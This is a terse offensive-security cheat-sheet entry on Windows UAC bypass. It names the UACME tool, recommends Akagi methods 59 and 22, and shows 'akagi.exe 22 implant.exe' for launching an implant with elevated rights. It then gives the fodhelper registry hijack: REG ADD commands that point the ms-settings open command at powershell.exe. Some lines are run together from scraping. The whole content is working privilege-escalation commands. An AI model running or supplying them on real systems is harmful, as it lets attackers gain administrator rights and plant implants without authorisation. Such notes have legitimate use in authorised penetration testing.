UAC Bypass
UACME
Check forAkagi - 59, 22 etc - dont use 23 (:
akagi.exe 22 implant.exeFodhelper.exe
REG ADD HKCU\Software\Classes\ms-settings\Shell\Open\command /d “powershell.exe” /f
REG ADD HKCU\Software\Classes\ms-settings\Shell\Open\command /v DelegateExecute /t REG_SZLast updated